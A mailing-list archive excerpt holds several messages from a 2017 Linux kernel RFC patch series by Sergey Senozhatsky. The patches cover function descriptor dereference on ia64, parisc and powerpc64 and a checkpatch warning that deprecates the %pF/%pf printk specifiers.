        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=HJqhUlNnWHdffPLzDjDRPKA3+7BArB5/r6DxGIZj5oI=;
        b=Twi3VghgG0pml2tLddZWpeS2CEWwF0w3U5v11xTog1AKyA6kPQ/4OGLZeO3cv6ZgOS
         O6eC3ztT5EgPYc+yf3+pplugqIamDFsNfexsYxYiNZAzKIrFWq4xcLX8zPqA/AEGb22M
         hz7OOyjEjhF5MZySlZxmRIUaWJnPlX0DPN+BUjlD1z1WS2zl8gQAULEtE8Ruy5W1e22e
         +1SF9kn/BbIa8+xpQugF6orcZ64tsDLl+FTWF0/huHjqHa3xuFmOAqd/Gjq5vyNaeliE
         A8XsZz/w01aZebYg1hIm0sCOXygo3tBr2k7JczvhMilYbS49VcKxJmvDvv+WFJSWMi2p
         6jLA==
X-Gm-Message-State: AHPjjUiaxJ4C5oV8EE5I3DHkAyOkaU5JZU33FVpQH/lAlILx1ykl5Yo5
        T5pjJfwq0ZxEcH7fk3Wq0YI=
X-Google-Smtp-Source: AOwi7QB077k7h1XinITHEQBMPFXV0fjIoXj/WP5nTMMWAYi+sSUfK8dLxACYu/SLhZ4H/OZm0grAdA==
X-Received: by 10.98.60.14 with SMTP id j14mr2687273pfa.51.1505925011214;
        Wed, 20 Sep 2017 09:30:11 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.30.06
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:30:10 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574179 gmane.linux.ports.ia64:28136 gmane.linux.ports.parisc:27835 gmane.linux.ports.ppc64.devel:148126
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574179>

We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
enough to handle function pointer dereference on platforms where such
dereference is required.

checkpatch warning example:

WARNING: Use '%pS/%ps' instead. This pointer extension was deprecated: '%pF'

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Cc: Andy Whitcroft <apw@canonical.com>
Cc: Joe Perches <joe@perches.com>
---
 scripts/checkpatch.pl | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/scripts/checkpatch.pl b/scripts/checkpatch.pl
index dd2c262aebbf..5945e4843466 100755
--- a/scripts/checkpatch.pl
+++ b/scripts/checkpatch.pl
@@ -5762,18 +5762,20 @@ sub process {
 		        for (my $count = $linenr; $count <= $lc; $count++) {
 				my $fmt = get_quoted_string($lines[$count - 1], raw_line($count, 0));
 				$fmt =~ s/%%//g;
-				if ($fmt =~ /(\%[\*\d\.]*p(?![\WFfSsBKRraEhMmIiUDdgVCbGNO]).)/) {
+				if ($fmt =~ /(\%[\*\d\.]*p(?![\WSsBKRraEhMmIiUDdgVCbGNO]).)/) {
 					$bad_extension = $1;
 					last;
 				}
 			}
 			if ($bad_extension ne "") {
 				my $stat_real = raw_line($linenr, 0);
+				my $error_msg = "Invalid vsprintf pointer extension ";
 				for (my $count = $linenr + 1; $count <= $lc; $count++) {
 					$stat_real = $stat_real . "\n" . raw_line($count, 0);
 				}
+				$error_msg = "Use '%pS/%ps' instead. This pointer extension was deprecated:" if ($bad_extension =~ /pF|pf/);
 				WARN("VSPRINTF_POINTER_EXTENSION",
-				     "Invalid vsprintf pointer extension '$bad_extension'\n" . "$here\n$stat_real\n");
+				     "$error_msg '$bad_extension'\n" . "$here\n$stat_real\n");
 			}
 		}
 
-- 
2.14.1



From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [RFC][PATCH v2 4/7] powerpc64: Add .opd based function descriptor dereference
Date: Thu, 21 Sep 2017 01:29:06 +0900
Lines: 116
Approved: news@gmane.org
Message-ID: <20170920162910.32053-5-sergey.senozhatsky@gmail.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505925060 27802 195.159.176.226 (20 Sep 2017 16:31:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:31:00 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Sep 20 18:30:52 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1duhtj-0004lo-4w
	for glpi-linux-ia64-2@m.gmane.org; Wed, 20 Sep 2017 18:30:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751683AbdITQa6 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 20 Sep 2017 12:30:58 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:35159 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751709AbdITQ3s (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Wed, 20 Sep 2017 12:29:48 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id j16so1916129pga.2;
        Wed, 20 Sep 2017 09:29:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=CnpHgZ2+ZTbCeZd1Ck+ekMy+VDRmM6IJjtCT7xMUDx0=;
        b=qT+NjFfZCLQ+T28UFYOveLZbPebjdNHNDpSawkskKAh78+fZUB7mF6vKhqke6hUtE+
         t8KLdhyP2uSNMiOzmf5qo3TXOMY4x0ZNGV9iovw5+ElQ46EMoKEXzZxzII+LQ87Lma6O
         16wqhqrmam07MQtdAL9DzybtPJ0SnRRjc3IMsSwU0EHIUj/TagxQyzWCqq0HaupEmE4F
         k89vTKN1T1LwBwqS/LfRJqOpGiJSXiYR2vH7wpAIChBWhOoARyqx0B/m2K5oTY2b6h8k
         G788Kbsx+l/2NdSdgNd7/TZXzZM/1M+coMb2fBzvLdrnVVNGvmBixyPddhC+IDcnUplX
         SgEw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=CnpHgZ2+ZTbCeZd1Ck+ekMy+VDRmM6IJjtCT7xMUDx0=;
        b=AUjz8HPsuu3AKf6OWbh3h4PMyb/HpCxJI2iK2niNHXUasn3KnHvVsVHETXXPO2OxTj
         6qAjpXwGpqHNuxAV7it+0z2d4ixmrWxXAsSPwsvWuOikQoInCtQ06o0HwYyKhz0YiiRV
         wcbvK/oMyNtHP01P/AwiRoJCpMeEUP1t55PlZ1KZWYAtrEmQbFS/WOcPRN/FouBHBE55
         bEpiyWkM6+gMq4vo684IcgLKwr7S/607tCSZqUuqGlGZvrfXhDYx6sUE6onKuD+xjVYv
         ghh7fqvlnRn2Sfn96hWcpdbjcH4hYo1VBPLMXpCBMZJBT9L0t3R6tWd7fEy84UB9BkzA
         QeNg==
X-Gm-Message-State: AHPjjUhKsiq1SCeo7sHUwKD14HyuB9Q9qwG2j3HyLZRLIyJwGiSUxEiK
        kH4vYSWPoK3Ed4sEpc4bbJ0=
X-Google-Smtp-Source: AOwi7QCrWWE7JWto/ELgrvGD7Q73g/KaZRTUdedeG7gRRvMzwtVaqTFnXpCqR3nF+W0msrQuVMrdsg==
X-Received: by 10.84.194.1 with SMTP id g1mr2651908pld.74.1505924987817;
        Wed, 20 Sep 2017 09:29:47 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.29.42
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:29:47 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28137 gmane.linux.ports.parisc:27836 gmane.linux.ports.ppc64.devel:148127 gmane.linux.kernel:2574180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28137>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for powerpc64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 arch/powerpc/include/asm/module.h   |  3 +++
 arch/powerpc/include/asm/sections.h | 11 +++++++++++
 arch/powerpc/kernel/module_64.c     | 16 ++++++++++++++++
 arch/powerpc/kernel/vmlinux.lds.S   |  2 ++
 4 files changed, 32 insertions(+)

diff --git a/arch/powerpc/include/asm/module.h b/arch/powerpc/include/asm/module.h
index 6c0132c7212f..7e28442827f1 100644
--- a/arch/powerpc/include/asm/module.h
+++ b/arch/powerpc/include/asm/module.h
@@ -45,6 +45,9 @@ struct mod_arch_specific {
 	unsigned long tramp;
 #endif
 
+	/* For module function descriptor dereference */
+	unsigned long start_opd;
+	unsigned long end_opd;
 #else /* powerpc64 */
 	/* Indices of PLT sections within module. */
 	unsigned int core_plt_section;
diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
index 67379b8945e8..6b4ee0d1645f 100644
--- a/arch/powerpc/include/asm/sections.h
+++ b/arch/powerpc/include/asm/sections.h
@@ -75,6 +75,17 @@ static inline unsigned long dereference_function_descriptor(unsigned long ptr)
 		ptr = (unsigned long)p;
 	return ptr;
 }
+
+#undef dereference_kernel_function_descriptor
+static inline unsigned long
+dereference_kernel_function_descriptor(unsigned long addr)
+{
+	if (addr < (unsigned long)__start_opd ||
+			addr >= (unsigned long)__end_opd)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
 #endif /* PPC64_ELF_ABI_v1 */
 
 #endif
diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
index 0b0f89685b67..94caec045a90 100644
--- a/arch/powerpc/kernel/module_64.c
+++ b/arch/powerpc/kernel/module_64.c
@@ -344,6 +344,11 @@ int module_frob_arch_sections(Elf64_Ehdr *hdr,
 		else if (strcmp(secstrings+sechdrs[i].sh_name,"__versions")==0)
 			dedotify_versions((void *)hdr + sechdrs[i].sh_offset,
 					  sechdrs[i].sh_size);
+		else if (!strcmp(secstrings + sechdrs[i].sh_name, ".opd")) {
+			me->arch.start_opd = sechdrs[i].sh_addr;
+			me->arch.end_opd = sechdrs[i].sh_addr +
+					   sechdrs[i].sh_size;
+		}
 
 		/* We don't handle .init for the moment: rename to _init */
 		while ((p = strstr(secstrings + sechdrs[i].sh_name, ".init")))
@@ -712,6 +717,17 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
 	return 0;
 }
 
+#ifdef PPC64_ELF_ABI_v1
+unsigned long dereference_module_function_descriptor(struct module *mod,
+						     unsigned long addr)
+{
+	if (addr < mod->arch.start_opd || addr >= mod->arch.end_opd)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
+#endif /* PPC64_ELF_ABI_v1 */
+
 #ifdef CONFIG_DYNAMIC_FTRACE
 
 #ifdef CC_USING_MPROFILE_KERNEL
diff --git a/arch/powerpc/kernel/vmlinux.lds.S b/arch/powerpc/kernel/vmlinux.lds.S
index 882628fa6987..70e10251e083 100644
--- a/arch/powerpc/kernel/vmlinux.lds.S
+++ b/arch/powerpc/kernel/vmlinux.lds.S
@@ -277,7 +277,9 @@ SECTIONS
 	}
 
 	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	}
 
 	. = ALIGN(256);
-- 
2.14.1

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [RFC][PATCH v2 1/7] switch dereference_function_descriptor() to `unsigned long'
Date: Thu, 21 Sep 2017 01:29:03 +0900
Lines: 198
Approved: news@gmane.org
Message-ID: <20170920162910.32053-2-sergey.senozhatsky@gmail.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505925146 11951 195.159.176.226 (20 Sep 2017 16:32:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:32:26 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 18:32:21 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duhv9-0002oO-TC
	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 18:32:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751599AbdITQ3f (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 12:29:35 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:36323 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751450AbdITQ3b (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 12:29:31 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id d8so1911571pgt.3;
        Wed, 20 Sep 2017 09:29:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=G3fttGkVsLeBQ/cCLWZ6QdhMs0FgorO2EWGYUeruwG0=;
        b=Y7eqD8Ht+CcUll8q0UACbHJ1DqwnvRJgaqu3+IL/Sicf6UonArIbxf19UmrfHEqskB
         6HXNwkgFlb76npldONMLJzUFMkhw7UxIrt++k+WQOuQqIdNweSyywJ0T5sXLKCYIOgTH
         UWP3X7e/w/EcY41pbQLE4bw2sYY7nbAEWISSAE/YvgiGYBpbfH0bVbecMAOuXnuvbWM2
         hn7dNRyWmWk69LO341FwX56EZ5brYlZpfPa25HbO/4zUq6t02LCSmAcRt052kEmyKFS4
         oAWUYqZHZ3fLDyC+s8+IW/RpHwMMjFvxkoibSbazJRCCjjubXy2Wm+AwhYjjmD27RSl3
         +EIw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=G3fttGkVsLeBQ/cCLWZ6QdhMs0FgorO2EWGYUeruwG0=;
        b=pLzchQsA5988mIXg5UC3JuMY9AR2SPpBddCDwu5jKuzC+xB9/686DS7wmXnRN7u7JO
         QZBQ1diOebUXyxDhQ0fzkKTEnbNXCzPIjoGYioamKWCIih6Pul1K561d3BmxyLdOWzji
         xMBd4mjopUjH9tGJOjBRmT1doe1Lclk5AXNBtcMWufAFlaeLZaGHE3ujLMhzpakMoKHd
         +3xnLgmfzoFu3lWzz2bEUTyNnpha3gFBkboXKegg9e/qXd9Y0tu+N9HKVE9geo8VFedn
         rZqplAlM8J3m+STuseb3oneei0cz9dgxnDsXNXe1JRr0GPCCARsmaSmsl7JLz/ogCOZf
         x4DA==
X-Gm-Message-State: AHPjjUh/0YqeDnBy123eV8zxkq5zOCij6LL901lAkd064J4t99DmJEXH
        F5OMIKEU7D0dpttspnMqKF0=
X-Google-Smtp-Source: AOwi7QC9NDeyUMFXPom2wdTml5vvs2L6YlGXxxyyIl/OPsvINQTv4D1YAUBl82hj7MzwNMTZHoJHHw==
X-Received: by 10.159.244.9 with SMTP id x9mr2648860plr.34.1505924970757;
        Wed, 20 Sep 2017 09:29:30 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.29.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:29:29 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574185 gmane.linux.ports.ia64:28139 gmane.linux.ports.parisc:27837 gmane.linux.ports.ppc64.devel:148129
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574185>

Convert dereference_function_descriptor() to accept and return
`unsigned long'. There will be two new ARCH function for kernel
and module function pointer dereference, which will work with
`unsigned long', so the patch unifies interfaces.

Besides, dereference_function_descriptor() mostly work with
`unsigned long':

drivers/misc/kgdbts.c:
addr = (unsigned long) dereference_function_descriptor((void *)addr);

init/main.c:
addr = (unsigned long) dereference_function_descriptor(fn);

kernel/extable.c:
addr = (unsigned long) dereference_function_descriptor(ptr);

kernel/module.c:
unsigned long a = (unsigned long)dereference_function_descriptor(addr);

Convert dereference_function_descriptor() users tree-wide.

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 arch/ia64/include/asm/sections.h    | 6 +++---
 arch/parisc/include/asm/sections.h  | 2 +-
 arch/parisc/kernel/process.c        | 6 +++---
 arch/parisc/mm/init.c               | 4 ++--
 arch/powerpc/include/asm/sections.h | 6 +++---
 drivers/misc/kgdbts.c               | 2 +-
 init/main.c                         | 2 +-
 kernel/extable.c                    | 2 +-
 kernel/module.c                     | 2 +-
 lib/vsprintf.c                      | 2 +-
 10 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
index 2ab2003698ef..de6bfa1ef8fb 100644
--- a/arch/ia64/include/asm/sections.h
+++ b/arch/ia64/include/asm/sections.h
@@ -27,13 +27,13 @@ extern char __start_unwind[], __end_unwind[];
 extern char __start_ivt_text[], __end_ivt_text[];
 
 #undef dereference_function_descriptor
-static inline void *dereference_function_descriptor(void *ptr)
+static inline unsigned long dereference_function_descriptor(unsigned long ptr)
 {
-	struct fdesc *desc = ptr;
+	struct fdesc *desc = (struct fdesc *)ptr;
 	void *p;
 
 	if (!probe_kernel_address(&desc->ip, p))
-		ptr = p;
+		ptr = (unsigned long)p;
 	return ptr;
 }
 
diff --git a/arch/parisc/include/asm/sections.h b/arch/parisc/include/asm/sections.h
index 9d13c3507ad6..59fbe0067112 100644
--- a/arch/parisc/include/asm/sections.h
+++ b/arch/parisc/include/asm/sections.h
@@ -6,7 +6,7 @@
 
 #ifdef CONFIG_64BIT
 #undef dereference_function_descriptor
-void *dereference_function_descriptor(void *);
+unsigned long dereference_function_descriptor(unsigned long);
 #endif
 
 #endif
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index a45a67d526f8..f00a5f93492a 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -267,13 +267,13 @@ get_wchan(struct task_struct *p)
 }
 
 #ifdef CONFIG_64BIT
-void *dereference_function_descriptor(void *ptr)
+unsigned long dereference_function_descriptor(unsigned long ptr)
 {
-	Elf64_Fdesc *desc = ptr;
+	Elf64_Fdesc *desc = (Elf64_Fdesc *)ptr;
 	void *p;
 
 	if (!probe_kernel_address(&desc->addr, p))
-		ptr = p;
+		ptr = (unsigned long)p;
 	return ptr;
 }
 #endif
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1ca9a2b4239f..06e1b79e2946 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -389,10 +389,10 @@ static void __init setup_bootmem(void)
 static int __init parisc_text_address(unsigned long vaddr)
 {
 	static unsigned long head_ptr __initdata;
+	unsigned long addr = (unsigned long)&parisc_kernel_start;
 
 	if (!head_ptr)
-		head_ptr = PAGE_MASK & (unsigned long)
-			dereference_function_descriptor(&parisc_kernel_start);
+		head_ptr = PAGE_MASK & dereference_function_descriptor(addr);
 
 	return core_kernel_text(vaddr) || vaddr == head_ptr;
 }
diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
index 7902d6358854..67379b8945e8 100644
--- a/arch/powerpc/include/asm/sections.h
+++ b/arch/powerpc/include/asm/sections.h
@@ -66,13 +66,13 @@ static inline int overlaps_kvm_tmp(unsigned long start, unsigned long end)
 
 #ifdef PPC64_ELF_ABI_v1
 #undef dereference_function_descriptor
-static inline void *dereference_function_descriptor(void *ptr)
+static inline unsigned long dereference_function_descriptor(unsigned long ptr)
 {
-	struct ppc64_opd_entry *desc = ptr;
+	struct ppc64_opd_entry *desc = (struct ppc64_opd_entry *)ptr;
 	void *p;
 
 	if (!probe_kernel_address(&desc->funcaddr, p))
-		ptr = p;
+		ptr = (unsigned long)p;
 	return ptr;
 }
 #endif /* PPC64_ELF_ABI_v1 */
diff --git a/drivers/misc/kgdbts.c b/drivers/misc/kgdbts.c
index fc7efedbc4be..6a5a159dfb75 100644
--- a/drivers/misc/kgdbts.c
+++ b/drivers/misc/kgdbts.c
@@ -225,7 +225,7 @@ static unsigned long lookup_addr(char *arg)
 		addr = (unsigned long)_do_fork;
 	else if (!strcmp(arg, "hw_break_val"))
 		addr = (unsigned long)&hw_break_val;
-	addr = (unsigned long) dereference_function_descriptor((void *)addr);
+	addr = dereference_function_descriptor(addr);
 	return addr;
 }
 
diff --git a/init/main.c b/init/main.c
index 0ee9c6866ada..396b0bda696e 100644
--- a/init/main.c
+++ b/init/main.c
@@ -761,7 +761,7 @@ static bool __init_or_module initcall_blacklisted(initcall_t fn)
 	if (list_empty(&blacklisted_initcalls))
 		return false;
 
-	addr = (unsigned long) dereference_function_descriptor(fn);
+	addr = dereference_function_descriptor((unsigned long)fn);
 	sprint_symbol_no_offset(fn_name, addr);
 
 	/*
diff --git a/kernel/extable.c b/kernel/extable.c
index 38c2412401a1..ca4c34d1d5a4 100644
--- a/kernel/extable.c
+++ b/kernel/extable.c
@@ -150,7 +150,7 @@ int kernel_text_address(unsigned long addr)
 int func_ptr_is_kernel_text(void *ptr)
 {
 	unsigned long addr;
-	addr = (unsigned long) dereference_function_descriptor(ptr);
+	addr = dereference_function_descriptor((unsigned long)ptr);
 	if (core_kernel_text(addr))
 		return 1;
 	return is_module_text_address(addr);
diff --git a/kernel/module.c b/kernel/module.c
index de66ec825992..ea77ab13bead 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1067,7 +1067,7 @@ EXPORT_SYMBOL(__symbol_put);
 void symbol_put_addr(void *addr)
 {
 	struct module *modaddr;
-	unsigned long a = (unsigned long)dereference_function_descriptor(addr);
+	unsigned long a = dereference_function_descriptor((unsigned long)addr);
 
 	if (core_kernel_text(a))
 		return;
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index 86c3385b9eb3..bcd906a39010 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -1723,7 +1723,7 @@ char *pointer(const char *fmt, char *buf, char *end, void *ptr,
 	switch (*fmt) {
 	case 'F':
 	case 'f':
-		ptr = dereference_function_descriptor(ptr);
+		ptr = (void *)dereference_function_descriptor((unsigned long)ptr);
 		/* Fallthrough */
 	case 'S':
 	case 's':
-- 
2.14.1



From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Thu, 21 Sep 2017 01:33:24 +0900
Lines: 17
Approved: news@gmane.org
Message-ID: <20170920163324.GB502@tigerII.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170920162910.32053-9-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505925211 24981 195.159.176.226 (20 Sep 2017 16:33:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:33:31 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Andy Whitcroft <apw@canonical.com>,
        Joe Perches <joe@perches.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Sep 20 18:33:26 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1duhwD-0003tH-Ta
	for glpi-linux-ia64-2@m.gmane.org; Wed, 20 Sep 2017 18:33:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751436AbdITQdd (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 20 Sep 2017 12:33:33 -0400
Original-Received: from mail-pf0-f172.google.com ([209.85.192.172]:43513 "EHLO
        mail-pf0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751283AbdITQdc (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Wed, 20 Sep 2017 12:33:32 -0400
